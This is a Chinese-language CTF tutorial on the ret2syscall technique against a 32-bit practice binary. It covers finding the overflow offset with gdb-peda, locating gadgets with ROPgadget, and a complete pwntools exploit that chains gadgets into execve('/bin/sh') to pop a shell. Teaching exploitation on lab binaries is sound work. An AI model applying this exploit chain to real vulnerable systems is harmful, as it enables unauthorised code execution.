前置知识

1、rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

2、gadgets:在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。

3、ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:我们从pop、ret序列当中寻找其中的eax

ROPgadget —binary ./7.exe —only “pop|ret” | grep “eax”

4、在linux系统中,函数的调用是有一个系统调用号的。我们实验要调用的execve(“/bin/sh”,null,null)函数其系统调用号是11,即十六进制0xb。

原理

  1. ret2syscall,即控制程序执行系统调用,获取 shell

1、计算字符串存储开始的地方到EBP之间的长度。

2、用某个字符填充这一段内存。

3、找到系统调用的地址 (int 80)

4、找到系统调用需要的参数,我们分别需要控制eax,ebx,ecx,edx这4个寄存器

5、找到相应的gadget,即pop..ret的地址、“/bin/sh”的地址

6、触发 0x80 号中断(int 0x80)

例题

链接: https://pan.baidu.com/s/1rUfgTcNlQihPsRSv4IMk9g 密码: ijbi
checksec 看一下保护机制

  1. ~/pwn$ checksec ret2syscall
  2. Arch: i386-32-little
  3. RELRO: Partial RELRO
  4. Stack: No canary found
  5. NX: NX enabled
  6. PIE: No PIE (0x8048000)

可以看出32位并已经开启了NX保护

打开IDA查看原码

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. int v4; // [esp+1Ch] [ebp-64h] BYREF
  4. setvbuf(stdout, 0, 2, 0);
  5. setvbuf(stdin, 0, 1, 0);
  6. puts("This time, no system() and NO SHELLCODE!!!");
  7. puts("What do you plan to do?");
  8. gets(&v4);
  9. return 0;
  10. }

看到代码后发现没有system与sellcode也就是说我们之前学到的 ret2text 和 ret2shellcode 的套路不能在这个题目中用了。

但是看到gets()函数说明还是有栈溢出的,这里便是另一种栈溢出方法。

确定v4是一个溢出变量,计算偏移。

0x1 gdb peda调试

1、gdb ret2syscall //gdb载入该文件

  1. @ubuntu:~/pwn$ gdb.sh ret2syscall

我有.sh原因是使用虚拟机插件导致,可以忽略。

2、pattern create 200 //制造200个填充字符(多少字符都行)

  1. gdb-peda$ pattern create 200
  2. 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

3、执行 r 或者 start 命令让程序运行。//注意 start 命令执行后,还需执行 contin 命令。

r后把程序跑起来,将第二步生成的字符串输入,发现程序在0x41384141

坏掉了。

  1. gdb-peda$ r
  2. Starting program: /home/seey0u/pwn/ret2syscall
  3. This time, no system() and NO SHELLCODE!!!
  4. What do you plan to do?
  5. AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
  6. Program received signal SIGSEGV, Segmentation fault.
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0x0
  9. EBX: 0x80481a8 (<_init>: push ebx)
  10. ECX: 0xfbad2288
  11. EDX: 0x80eb4e0 --> 0x0
  12. ESI: 0x0
  13. EDI: 0x80ea00c --> 0x8065cb0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4])
  14. EBP: 0x6941414d ('MAAi')
  15. ESP: 0xffffcfd0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  16. EIP: 0x41384141 ('AA8A')
  17. EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. Invalid $PC address: 0x41384141
  20. [------------------------------------stack-------------------------------------]
  21. 0000| 0xffffcfd0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  22. 0004| 0xffffcfd4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  23. 0008| 0xffffcfd8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  24. 0012| 0xffffcfdc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  25. 0016| 0xffffcfe0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  26. 0020| 0xffffcfe4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  27. 0024| 0xffffcfe8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  28. 0028| 0xffffcfec ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
  29. [------------------------------------------------------------------------------]
  30. Legend: code, data, rodata, value
  31. Stopped reason: SIGSEGV
  32. 0x41384141 in ?? ()

4、pattern offset 地址 //确定偏移

  1. gdb-peda$ pattern offset 0x41384141
  2. 1094205761 found at offset: 112

0x2 如何构造

由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

构造思路是把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

  1. execve(“/bin/sh”,NULL,NULL)
  1. 系统调用号,即 eax 应该为 0xb
  2. 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  3. 第二个参数,即 ecx 应该为 0
  4. 第三个参数,即 edx 应该为 0

这里就需要使用 gadgets,具体寻找 gadgets 的方法,我们可以使用 ropgadget 这个工具

0x3 ROPgadget使用

1.eax

  1. ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
  1. @ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
  2. 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
  3. 0x080bb196 : pop eax ; ret
  4. 0x0807217a : pop eax ; ret 0x80e
  5. 0x0804f704 : pop eax ; ret 3
  6. 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

2.ebx

  1. ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
  1. @ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
  2. 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
  3. 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
  4. 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
  5. 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
  6. 0x080be23f : pop ebx ; pop edi ; ret
  7. 0x0806eb69 : pop ebx ; pop edx ; ret
  8. 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
  9. 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
  10. 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
  11. 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
  12. 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
  13. 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
  14. 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
  15. 0x08048913 : pop ebx ; pop esi ; pop edi ; ret
  16. 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
  17. 0x08049a94 : pop ebx ; pop esi ; ret
  18. 0x080481c9 : pop ebx ; ret
  19. 0x080d7d3c : pop ebx ; ret 0x6f9
  20. 0x08099c87 : pop ebx ; ret 8
  21. 0x0806eb91 : pop ecx ; pop ebx ; ret
  22. 0x0806336b : pop edi ; pop esi ; pop ebx ; ret
  23. 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
  24. 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
  25. 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
  26. 0x0805c820 : pop esi ; pop ebx ; ret
  27. 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
  28. 0x0807b6ed : pop ss ; pop ebx ; ret

这里我们选择可以同时控制ebx,ecx,edx的地址

  1. 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

3.寻找int 0x80

  1. ROPgadget --binary ret2syscall --only 'int'
  1. @ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'int'
  2. Gadgets information
  3. ============================================================
  4. 0x08049421 : int 0x80
  5. Unique gadgets found: 1

4.寻找/bin/sh

  1. ROPgadget --binary ret2syscall --string '/bin/sh'
  1. @ubuntu:~/pwn$ ROPgadget --binary ret2syscall --string '/bin/sh'
  2. Strings information
  3. ============================================================
  4. 0x080be408 : /bin/sh

exp

分享一个大师傅的exp写法

  1. https://www.wangan.com/docs/907
  1. from pwn import *
  2. sh = process('./ret2syscall')
  3. pop_edx_ecx_ebx = 0x0806eb90
  4. binbash = 0x080be408
  5. pop_eax = 0x080bb196
  6. int_0x80 = 0x08049421
  7. payload = flat(['A' * 112, pop_edx_ecx_ebx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
  8. sh.sendline(payload)
  9. sh.interactive()

flat 函数的用法是 Flattens the arguments into a string. 也就是拼接字符串。
例如

$ flat([1,2,3])
$ b’\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00’

溢出后的栈空间

  1. | 0x80 int 0x80 execve| <--- in 0x80 触发execve 高地址
  2. | 0xb used pop to eax | <--- esp2
  3. | pop eax and ret | <--- eip2
  4. | "/bin/sh" point ebx |
  5. | 0 use to pop to ecx |
  6. | 0 use to pop to edx | <--- esp1
  7. | pop_edx_ecx_ebx_ret | <--- eip1
  8. | AAAA origional ebp | <--- ebp
  9. | AAA...AAA buf | 原先的栈空间 <--- esp 低地址

参考

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/

https://www.wangan.com/docs/907

AnM1a0